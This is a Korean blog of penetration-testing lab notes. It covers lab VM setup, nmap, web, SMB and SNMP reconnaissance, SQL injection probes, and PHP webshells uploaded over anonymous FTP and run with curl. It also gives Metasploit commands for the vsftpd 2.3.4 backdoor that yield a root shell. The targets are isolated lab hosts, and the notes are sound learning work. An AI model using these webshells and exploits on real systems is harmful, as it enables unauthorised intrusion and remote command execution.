TungTung0000님의 블로그

공격 3 — SQL Injection (수동 + SQLmap)

TungTung0000 — Tue, 7 Jul 2026 15:49:26 +0900

1. phpinfo에서 DB 정보 수집

$ curl http://$TARGET/info.php | grep -i "mysql\|pdo"

- curl 명령어를 통해 php의 환경 정보를 출력 후 mysql, pdo라는 단어만 출력하는 명령어

• 확인 결과
- PHP 정상 동작, mysqli 활성화, PDO 활성화, MySQL 연동가능

2. 수동 SQLi 테스트 (URL 파라미터)

공격 명	설명	취약 여부
Union-based SQL Injection	UNION SELECT를 이용해 다른 테이블의 데이터를 함께 조회
Error-based SQL Injection	DB 오류 메시지를 이용하여 정보를 획득
Boolean-based Blind SQL Injection	참(True)/거짓(False)에 따른 응답 차이로 정보를 추출
Time-based Blind SQL Injection	시간 지연 함수를 이용하여 참/거짓을 판단
개발 정보 노출	개발 정보에 관해 노출이 되는 취약점	O

단계1. 정상 요청 확인

단계2. 페이로드 삽입 후 결과 확인

특수문자를 이용해 에러를 확인

• 200 상태코드

- 입력이 문자열로 처리되거나 적절하게 이스케이프처리가 되어 정상 실행 가능성 있음

• 500 상태코드

- 서버 내부 오류 발생, SQL 구문 오류, 애플리케이션 예외 등의 다양한 원인 발생가능성 있음

• # 400 상태코드

- 400 상태코드와 함께 아파치의 버전 정보, 포트 번호가 노출되어 개발 정보 노출 취약점도 존재한다고 판단

2-1. Union-based SQL Injection

1) 파라미터에 ' 를 입력하여 의도적인 오류를 냈을 경우 500 상태코드와 함께 서버에러를 나타내는 것을 확인 가능했으나 DB에 관한 정보는 확인 불가

2-3. Boolean-based Blind SQL Injection

각각의 SQL Injection 페이로드를 삽입해서 응답 확인했으나 차이없음

1) id=1 AND 1=1--"

2) id=1 AND 1=2--"

공격 2 — FTP 익명 로그인 & WebShell 업로드

TungTung0000 — Mon, 6 Jul 2026 13:48:26 +0900

1. 익명 FTP 접속 및 공유 디렉터리 탐색

단계1. 익명 ftp로 연결 → ftp 192.168.100.20
단계2. 연결 확인 후 공유 디렉터리 탐색 → ls -l
단계3. 확인된 공유 디렉터리로 이동 → cd pub

2. 기본 WebShell 업로드

단계1. php WebShell 파일 생성 → echo '<?php system($_GET["c"]; ?>' > /tmp/ws.php &&
단계2. 생성한 WebShell 파일 FTP 서버에 업로드 → ftp> put /tmp/ws.php ws.php
단계3. WebShell 실행 후 id 명령어 실행 가능 여부 확인 → curl "http://192.168..100.20/pub/ws.php?c=id"

~~(ftp 프롬프트를 이용해 WebShell을 생성하려 하였으나 Bash 명령어의 실행 불가 확인해 해당 단계로는 공격 불가 판단)~~

단계1. 웹 쉘 생성
단계2. Target FTP 접속
단계3. pub 디렉터리로 이동
단계4. 파일 업로드
단계5. 업로드 확인
단계6. FTP 종료
단계7. kali를 통해 웹에서 실행 가능 여부 확인

- 단계1. 웹 쉘 생성
$ sudo echo '<?php system($_GET["c"]); ?>' > /tmp/ws.php
$ ls -l /tmp/ws.php
$ cat /tmp/ws.php

- 단계2. Target FTP 접속
$ ftp 192.168.100.20 (Name: anonymous, Password: [Enter])

- 단계3. pub 디렉터리로 이동
  ftp> cd pub
  ftp> pwd
  ftp> ls -l

- 단계4. 파일 업로드
ftp> put /tmp/ws.php ws.php

- 단계5. 업로드 확인
ftp> ls -l

- 단계6. FTP 종료
ftp> bye

- 단계7. kali를 통해 웹에서 실행 가능 여부 확인
$ curl "http://192.168.100.20/var/www/html/pub/ws.php?c=id"

- 파일이 업로드 된 실제 경로를 넣었을 때, 404 상태 코드와 함께 웹쉘이 실행되지 않는 것을 확인 가능

$ curl "http://192.168.100.20/pub/ws.php?c=id"

- /var/www/html은 Apache의 웹루트로 해당 경로는 포함되지 않아야 실행 가능

- 명령어 확인 시 웹 쉘을 통한 id 확인 가능

3. 고급 WebShell 업로드

- 단계1. 웹 쉘 생성
$ cat > /tmp/adv_ws.php <<'PHP'
<?php if(isset($_POST['x'])) system(base64_decode($_POST['x'])); ?>
PHP

- 단계2. Target FTP 접속
$ ftp 192.168.100.20 (Name: anonymous, Password: [Enter])

- 단계3. pub 디렉터리로 이동
  ftp> cd pub
  ftp> pwd
  ftp> ls -l

- 단계4. 파일 업로드
ftp> put /tmp/adv_ws.php adv_ws.php

- 단계5. 업로드 확인 및 FTP 종료
ftp> ls -l

ftp> bye

- 단계6. kali를 통해 웹에서 실행 가능 여부 확인
$ curl -X POST -d "x=$(echo id|base64 -w0)" http://192.168.100.20/pub/adv_ws.php

- 명령어 확인 시 웹 쉘을 통한 id 확인 가능

공격 1 — vsftpd 백도어 (CVE-2011-2523)

TungTung0000 — Mon, 6 Jul 2026 11:11:20 +0900

1. Metasploit에서 vsftpd 2.3.4 공격 환경 구성을 위한 대상 정보 설정

• msfconsole: Metasploit Framework(MSF)를 실행하는 명령어로 Metasploit은 알려진 취약점(Exploit)을 이용해 취약점이 실제로 악용 가능한지 검증하거나 시스템에 접근을 시도하는 모의해킹 프레임워크
• Metasploit 실행 과정
msfconsole 실행 → Exploit 모듈 선택 → 공격대상(RHOSTS) 설정 → 공격(RUN) → 취약점 악용 가능 여부 확인

• 단계1. sudo msfconsole -q
Metasploit Framework를 실행해 모의해킹 환경 진입
• 단계2. use exploit/unix/ftp/vsftpd_234_backdoor
vsftpd 2.3.4(CVE-2011-2523) 취약점을 공격하는 Exploit 모듈 선택 및 사용할 Payload 자동 설정
• 단계3. set RHOSTS 192.168.100.20
공격 대상 IP 설정
• 단계4. set LHOST 192.168.100.10
공격자의 IP 설정
• 단계5. set RPORT 2121
공격 대상 서비스의 포트 설정
• 단계6. show options
Exploit을 실행하기 전 필수 옵션이 올바르게 실행되었는지 확인

2. 공격

- 자동 Exploit

[*] Started reverse TCP handler on 192.168.100.10:4444 → Target이 연결해 오기를 기다리는 상태
[*] Running automatic check → 공격하기 전에 대상이 취약한지 자동으로 검사하는 과정
FTP banner hints its vulnerable:
220 (vsFTPd 2.3.4) → FTP 배너를 확인한 결과가 반환되어 취약한 버전(vsftpd 2.3.4) 임을 확인
[+] The target appears to be vulnerable. →Metasploit이 "이 서버는 CVE-2011-2523 공격이 가능한 것으로 보인다." 라고 판단
[+] Backdoor has been spawned! → 백도어가 활성화
‼️백도어 생성은 되었으나 쉘 연결은 되지 않았음

- 수동 Exploit

# 원리: USER 필드에 :) 포함 → 6200번에 셸 바인딩
uid=0(root) gid=0(root) 결과 확인으로 root 쉘 획득 완료

정찰 단계 3 — SMB·SNMP·DNS 열거

TungTung0000 — Fri, 3 Jul 2026 14:24:40 +0900

확인1. SMB열거

$ enum4linux -a 192.168.100.20

- enum4linux: SMB(Samba) 정보 수집 도구 실행 명령어

$ smbclient -L //192.168.100.20 -N

- smbclient: SMB(Samba) 서버에 접속하는 클라이언트 프로그램

- 결과: 공유 폴더 조회 성공했으나 서버가 SMB1을 지원하지 않아 오류 발생

$ smbmap -H 192.168.100.20

- smbmap: SMB(Samba) 공유 폴더와 권한을 조회하는 도구

- 결과: ID, Password 없이 익명의 상태에서 정보 조회가 가능했으며 읽기 쓰기 가능

확인2. NetBIOS 스캔

$ sudo nbtscan 192.168.100.0/24

- nbtscan: NetBIOS 서비스를 사용하는 장비를 찾아 호스트 이름과 관련 정보를 수집하는 명령어

- 결과: TARGET이라는 이름을 가진 SMB(NetBIOS Name) 장비를 발견했으나 MAC주소는 가져오지 못함

브로드캐스트 주소로도 보냈으나 운영체제가 차단하여 실패

확인3. SNMP 열거

$ onesixtyone 192.168.100.20 -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt

- onesixtyone: SNMP Community String을 찾는 정보수집(Enumeration) 도구로 모의해킹에서 SNMP가 열려있는지 많이 사용하는 도구

- 결과: SNMP Community String으로 설정되어있으며, Host Name, 운영체제 버전/정보 확인 가능

$ snmpwalk -c public -v1 192.168.100.20

- snmpwalk: SNMP를 이용하여 대상 시스템의 관리 정보(MIB)를 조회하는 명령어

Community String(public)을 사용하여 시스템 정보, 네트워크 정보, 인터페이스 정보 등을 수집

- 결과: SNMP에는 정상적으로 접속되었지만 Kali의 MIB 파일이 누락되어 Cannot find module 오류가 다수 출력

정찰 단계 2 — 웹 애플리케이션 정보 수집 및 취약점 탐색

TungTung0000 — Fri, 3 Jul 2026 11:12:20 +0900

확인1. 웹 서버 배너/헤더 수집

$ curl -I http://$TARGET

$ whatweb http://$TARGET

확인2. 디렉토리 탐색 - 다양한 wordlist

$ gobuster dir -u http://$TARGET -w $SL/Discovery/Web-Content/common.txt -x php,html,txt,bak,zip -t 50 -o ~/lab/recon/web/gobuster.txt

확인3. 디렉터리 퍼징

: 웹 서버에 존재하지만 링크가 걸려 있지 않은 디렉터리나 파일을 찾아내는 기법

$ ffuf -u "http://$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -mc 200,301,302,401 -t 80 -o ~/lab/recon/web/ffuf.json

옵션	설명
-u	FUZZ 위치 지정
-w	워드리스트
-mc	200,301,302,401만 출력
-t 80	동시 스레드 80개
-o	결과 저장

확인4. GET 파라미터 퍼징

$ ffuf -u "http://$TARGET/search.php?FUZZ=1" -w $SL/Discovery/Web-Content/burp-parameter-names.txt -mc 200

- ID, KEY 등의 취약 의심이 가능한 파라미터 다수

확인5. Nikto 웹 취약점 스캔

$ nikto -h http://$TARGET -Tuning 9 -o ~/lab/recon/web/nikto

- Nikto: 웹 서버의 취약점 및 설정 오류를 검사하고 결과를 파일로 저장하는 명령어

- Tuning 옵션별 검사 내용

0	파일 업로드
1	흥미로운 파일
2	설정 오류
3	정보 노출
4	인젝션 관련
5	원격 파일 포함(RFI)
6	서비스 거부(DoS)
7	원격 코드 실행(RCE)
8	명령 실행(Command Execution)
9	SQL Injection

결과	의미	위험도
Apache 2.4.52	웹 서버 확인	정보
ETag 정보 노출	inode 등 정보 노출 가능	낮음
Permissions-Policy 없음	보안 헤더 누락	낮음
HSTS 없음	HTTPS 강제 안 함	중간
CSP 없음	XSS 방어 헤더 없음	중간
Referrer-Policy 없음	Referer 정책 없음	낮음
X-Content-Type-Options 없음	MIME Sniffing 방어 없음	낮음
Apache 구버전	최신 버전보다 오래됨	낮음
GET/POST/HEAD/OPTIONS 허용	허용된 HTTP 메서드 확인 (TRACE와 같은 메서드 허용이 되어있을 경우 취약 가능성 존재)	정보

정찰 단계 1 — Nmap 고급 스캔 기법

TungTung0000 — Thu, 2 Jul 2026 16:37:49 +0900

교육자료와 열린 포트가 다른 이유

1. nmap -F --open -T4

(1) 2121 포트가 보이지 않았던 이유

Docker FTP(vsftpd234) 컨테이너가 실행되지 않았음.
해결: sudo docker start vsftpd234

(2) 3306 포트가 보이지 않았던 이유

MySQL이 127.0.0.1로만 Listen하고 있었음.
해결: bind-address = 0.0.0.0 수정 후 MySQL 재시작.

(3) 139, 445 포트가 추가로 보인 이유

Samba를 설치하여 SMB 실습 환경을 구성했기 때문.

확인 1. 빠른 포트 확인

$ sudo nmap -F --open -T4 $TARGET

확인 2. 전체 포트 버전 스캔

$ sudo nmap -sV -sC -p- -T4 -oA ~/lab/recon/nmap/full $TARGET

확인 3. OS 핑거프린팅

$ sudo nmap -O $TARGET

확인4 . 취약점 스크립트 스캔

$ sudo nmap --script vuln -p 21,2121,80,3306 $TARGET

확인5 . SNMP, 서비스 추가 열거

$ snmp-check $TARGET ; enum4linux -a $TARGET

Target & BULE Team(Wazuh) Ubuntu 환경 구성

TungTung0000 — Thu, 25 Jun 2026 15:46:38 +0900

[VM 1: Kali Linux — Red Team (공격자)]
- IP: 192.168.100.10  |  RAM: 8GB  |  Disk: 60GB  |  OS: Kali 2024.1
- NIC1: VMnet8 (NAT) → 인터넷 (도구 다운로드)
- NIC2: VMnet1 (Host-only) → 실습망 (공격 트래픽)

[VM 2: Ubuntu Server — Target (공격 대상)]
- IP: 192.168.100.20  |  RAM: 2GB  |  Disk: 40GB  |  OS: Ubuntu 22.04
- NIC: VMnet1 (Host-only) 단일 — 인터넷 없음

[VM 3: Ubuntu Server — Wazuh SIEM (Blue Team)]
- IP: 192.168.100.30  |  RAM: 8GB  |  Disk: 100GB  |  OS: Ubuntu 22.04
- NIC1: VMnet8 (NAT) → 인터넷 (Wazuh 설치)
- NIC2: VMnet1 (Host-only) → 실습망 (에이전트 통신)
- 실습망: 192.168.100.0/24 (VMnet1 Host-only, DHCP 없음)

⚠ 호스트 PC RAM이 16GB 미만이면 VM 2대씩 번갈아 켜기
⚠ 망분리 후 공격을 시도하는 것으로 custom으로 진행 필요

[VM 2,3 : Ubuntu Server — Target (공격 대상), Wazuh SIEM (Blue Team)]

1. https://ubuntu.com/download/server → Download Ubuntu Server 22.04.3 LTS 클릭

2. VMware → File → New Virtual Machine → Custom (advanced) → Next

3. I will install the operating system later → Next

4. Linux → Ubuntu 64-bit → Next

5. CPU: 2×1=2core / RAM: 2048MB → Next → Next

6. SCSI → Create new disk → 40GB → Single file → Next → Finish

7. [NIC 변경] Edit settings → Network Adapter → Custom: VMnet1 선택 → OK

Target-server:
- NIC: VMnet1 (Host-only) 단일 — 인터넷 없음
Wazuh-server:
- NIC1: VMnet8 (NAT) → 인터넷 (Wazuh 설치)
- NIC2: VMnet1 (Host-only) → 실습망 (에이전트 통신)

8. CD/DVD → ubuntu-22.04.3-live-server-amd64.iso 선택 → Power on

9. 생성 완료 후 부팅

10. 언어/계정 설정

11. NIC 고정 IP 설정 방법

: vi 또는 nano를 이용해 /etc/netplan/00-installer-config.yaml 파일안에 해당 내용 삽입

/etc/netplan/00-installer-config.yaml
: Debian/Kali리눅스에서 네트워크 설정을 정의하는 기본 설정파일

[ Target-server ]

[ Wazuh-server ]

12. $ sudo netplan apply 를 이용해 네트워크 재설정

13. $ ifconfig를 이용해 NIC 설정 완료 확인

RED Team Kali 환경 구성

TungTung0000 — Thu, 25 Jun 2026 11:33:56 +0900

[VM 1: Kali Linux — Red Team (공격자)]

1. 크롬에서 https://www.kali.org/get-kali/ 접속 후 이미지 64-bit 다운로드 진행

2. VMware → File → New Virtual Machine → Custom (advanced) → Next

3. I will install the operating system later → Next

4. Linux → Debian 11.x 64-bit → Next

5. Virtual machine name: Kali-RedTeam

6. Processors: 2 / Cores per processor: 2 → Next

7. Memory: 8192 MB → Next

8. Network: Use network address translation (NAT) → Next

9. SCSI → Create a new virtual disk → 60GB → Single file → Next → Finish

10. [두 번째 NIC 추가] Kali-RedTeam 선택 → Edit virtual machine settings

11. Add → Network Adapter → Finish → Custom: VMnet1 선택 → OK

12. CD/DVD (SATA) → Use ISO image file → Browse → kali-linux-2024.1-installer-amd64.iso 선택

13. Connected at power on 체크 확인 → OK

14. 생성 완료 후 부팅

15. 언어/계정/파티션/소프트웨어/CRUB 설정

16. 명령어를 이용해 NIC 이름 확인 (셋중 하나로 확인)

$ ip addr show

$ ip addr

$ ifconfig

17. Host-only NIC 고정 IP 설정 방법

17-1. 재부팅 후 nmtui로 설정

17-2. vi 또는 nano를 이용해 /etc/network/interfaces 파일안에 해당 내용 삽입

/etc/network/interfaces
: Debian/Kali리눅스에서 네트워크 설정을 정의하는 기본 설정파일

18. sudo systemctl restart networking.service를 이용해 네트워크 재설정 후 ifconfig를 이용해 NIC 설정 완료 확인

패킷 분석 도구 tcpdump, Wireshark, tshark

TungTung0000 — Tue, 23 Jun 2026 16:41:17 +0900

✔️ 【Wireshark】

- 환경: 로컬 PC (GUI 필요)

- 강점: 최강 분석, Follow Stream, 통계

- 약점: 무거움, 원격 서버 직접 사용 어려움

- 최적: 심층 분석, 교육, 포렌식

✔️ 【tshark】

- 환경: CLI (Wireshark 디코딩 엔진)

- 강점: Wireshark 수준 분석 + CLI + 자동화

- 약점: 학습 곡선

- 최적: 대용량 pcap 자동 분석, 스크립팅

# tshark = Wireshark의 CLI 버전
$ sudo apt install tshark -y

# 기본 사용
$ sudo tshark -i eth0                  # 실시간 캡처
$ sudo tshark -i eth0 -c 100           # 100패킷만
$ sudo tshark -i eth0 -w capture.pcap  # 파일 저장
$ tshark -r capture.pcap               # pcap 파일 읽기

# 필터 적용
$ sudo tshark -i eth0 -f "tcp port 80"        # 캡처 필터
$ tshark -r cap.pcap -Y "http.request"        # 디스플레이 필터

# 특정 필드만 추출 (-T fields -e 필드명)
$ tshark -r cap.pcap -T fields   -e ip.src -e ip.dst -e http.request.uri   -Y "http.request"

# HTTP 요청 URL 목록
$ tshark -r cap.pcap -Y http.request   -T fields -e http.host -e http.request.uri | sort -u

# 통신 IP 목록
$ tshark -r cap.pcap -T fields   -e ip.src -e ip.dst | sort | uniq -c | sort -rn | head

# 악성 트래픽 자동 탐지 스크립트
$ tshark -r malware.pcap -T fields -e ip.dst   | sort | uniq -c | sort -rn | head -20  # 많이 통신한 외부 IP

[실행 결과]

✔️ 【tcpdump】

- 환경: 원격 서버 CLI (GUI 없음)

- 강점: 가볍고 빠름, 리소스 적음

- 약점: 분석 기능 제한적

- 최적: 실시간 캡처, pcap 저장

# tcpdump 기본
$ sudo tcpdump -i eth0              # 모든 인터페이스
$ sudo tcpdump -i any               # 모든 인터페이스 동시
$ sudo tcpdump -n                   # DNS 역조회 없이 (빠름)
$ sudo tcpdump -nn                  # 포트도 숫자로
$ sudo tcpdump -v / -vv / -vvv     # 상세도 증가

# BPF 필터 (캡처 필터)
$ sudo tcpdump -i eth0 port 22
$ sudo tcpdump -i eth0 host 192.168.1.100
$ sudo tcpdump -i eth0 src host 10.0.0.1
$ sudo tcpdump -i eth0 dst port 80
$ sudo tcpdump -i eth0 tcp
$ sudo tcpdump -i eth0 'tcp and port 443'
$ sudo tcpdump -i eth0 'src 10.0.0.1 and dst port 22'
$ sudo tcpdump -i eth0 'not port 22'  # SSH 제외

# 파일 저장 & 읽기
$ sudo tcpdump -i eth0 -w /tmp/capture.pcap -c 200
$ tcpdump -r /tmp/capture.pcap
$ tcpdump -r /tmp/capture.pcap -n port 80  # 읽으면서 필터

# 페이로드 출력 (내용 확인)
$ sudo tcpdump -i eth0 -A port 80    # ASCII 출력
$ sudo tcpdump -i eth0 -X port 80    # HEX + ASCII

[실행 결과]

( →수정필)보안점검 통합

TungTung0000 — Tue, 23 Jun 2026 09:47:34 +0900

✔️ [작성 코드]

#!/bin/bash

set -euo pipefail

REPORT=~/reports/w2_final_$(date +%Y%m%d).txt

mkdir -p ~/reports

log() { echo "[$(date +%H:%M:%S)] $1" | tee -a $REPORT; }

ok() { echo " ✅ $1" | tee -a $REPORT; }

warn(){ echo " ⚠️ $1" | tee -a $REPORT; }

log "=== 보안 점검 $(date) ==="

# SSH 보안 점검

log "--- SSH 보안 ---"

grep -q "PermitRootLogin no" /etc/ssh/sshd_config && ok "Root 로그인 차단" || warn "Root 로그인 허용됨"

grep -q "PasswordAuthentication no" /etc/ssh/sshd_config && ok "키 인증만 허용" || warn "비밀번호 인증 허용됨"

systemctl is-active --quiet fail2ban && ok "Fail2Ban 실행 중" || warn "Fail2Ban 미실행"

# 네트워크 점검

log "--- 네트워크 ---"

OPEN_PORTS=$(ss -tlnp | grep LISTEN | wc -l)

log "열린 포트 수: $OPEN_PORTS"

ss -tlnp | grep LISTEN | tee -a $REPORT

# 웹 서버 점검

if systemctl is-active --quiet apache2 2>/dev/null; then

log "--- Apache 보안 ---"

curl -sI http://localhost | grep "Server:" | grep -q "Apache$" && ok "버전 숨김" || warn "버전 노출됨"

# 최근 침입 시도

log "--- 침입 시도 ---"

FAIL=$(grep -c "Failed" /var/log/auth.log 2>/dev/null || echo 0)

log "SSH 실패: $FAIL 건"

[ "$FAIL" -gt 100 ] && warn "SSH 공격 의심!" || ok "정상 범위"

log "=== 점검 완료: $REPORT ==="

✔️ [실행 결과]

- root 로그인이 허용되는 것을 알 수 있어 취약하다고 판단